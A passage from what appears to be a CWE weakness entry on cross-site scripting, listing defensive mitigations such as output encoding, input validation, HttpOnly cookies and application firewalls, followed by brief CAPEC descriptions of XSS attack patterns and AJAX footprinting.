- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.